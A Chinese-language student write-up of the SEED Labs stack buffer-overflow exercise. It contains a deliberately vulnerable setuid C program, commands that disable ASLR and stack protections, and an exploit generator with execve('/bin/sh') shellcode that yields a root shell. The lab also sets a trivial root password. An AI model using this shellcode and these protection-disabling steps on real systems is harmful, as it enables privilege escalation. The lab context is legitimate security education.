1 软件需求
apt-get install gcc
apt-get install libc6-dev #这个是为了32位环境
2 前期准备
2.1 创建badfile
touch badfile
2.2 创建stack.c
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
2.3 关闭4个阻止我实验的环境变量
2.3.1 关闭栈地址随机化
sysctl -w kernel.randomize_va_space=0
2.3.2 链接到不安全的sh
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh
2.3.3 -z execstack和 -fno-stack-protector
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
sudo chmod u+s stack
3 找该攻击的地址
3.1 看汇编代码找栈开始的地址
gdb ./stack # 去调试
run #这一步非常重要,要先运行,不然地址是逻辑地址,是错误的
disassemble /m main # 加了个参数/m,便于找到程序和汇编代码的对应关系,方便我这种对汇编完全不懂的小白
找程序中bof(str),紧跟着往下的那一行sub,这一句里面的esp寄存器就是我们str赋值的开始。
3.2 设断点找esp的地址
那么我们断点就设在这里。
b *0x565562b9
run
i r $esp
3.3 计算栈会溢出到哪
我们栈本来BUFFER_SIZE是100的大小,就用这个0xffffd430+16进制的100,也即0xffffd430+0x00000064,得到4294956180,这个实际上是十进制的,我们可以直接手算哈,得到结果0xffffd494
4 编写攻击代码exploit.c
这个貌似有python和c两种写法,我这里就用c了
vim exploit.c
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* 这一步是找到shellcode的关键 */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
所要做的就是改一下8个问号,按照逆序来,我这里的话就是改成
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x94\xd4\xff\xff");
5 执行攻击得到权限
gcc -o exploit exploit.c
./exploit
./stack
有这个#就是getshell了,此时你可以用whoami命令测试一下是不是返回的root
6 实际上需要是普通用户操作
在seed-emulator上需要先新建用户seed,具体命令在专栏中有给出。
创建一下root的密码以便以后成普通用户了以后还能root:
passwd
123
然后需要su seed。
7 后记:
· 这个实验是seed Labs里的,但是我要把它搬到seed-emulator上做,颇费了我一番功夫。
遇到的问题有
· 64位/32位系统编译的问题(造成的影响是编译不过和汇编代码和一般的不一样),解决的办法是装一个libc6-dev库,用disassemble的时候加一个/m 便于查看程序、汇编代码对应关系
· gdb 调试问题(造成的影响是可以设置断点但是停不了),解决的办法是在gdb下先执行程序再run,具体方法在我的bug专栏里开了一篇文章
· 读不懂汇编的问题(造成的影响是我不知道str究竟在哪个指令入栈,到底把断点设在哪里),解决办法是看了b站一个名叫llllljjjjooo的up主的视频,他说是一个sub指令,ok那我仔细找了一下发现差不多就是这里
· 一些软件安装问题(都怪这个seed emulator [狗头]),反复调了好多次dockerfile
还有一些问题早已忘却,最终做成了这个简单的小实验。
参考资料:
- https://blog.csdn.net/sinat_26599509/article/details/51250797
- b站llllljjjjooo的[缓冲区溢出漏洞实验任务一:利用缓冲区溢出漏洞]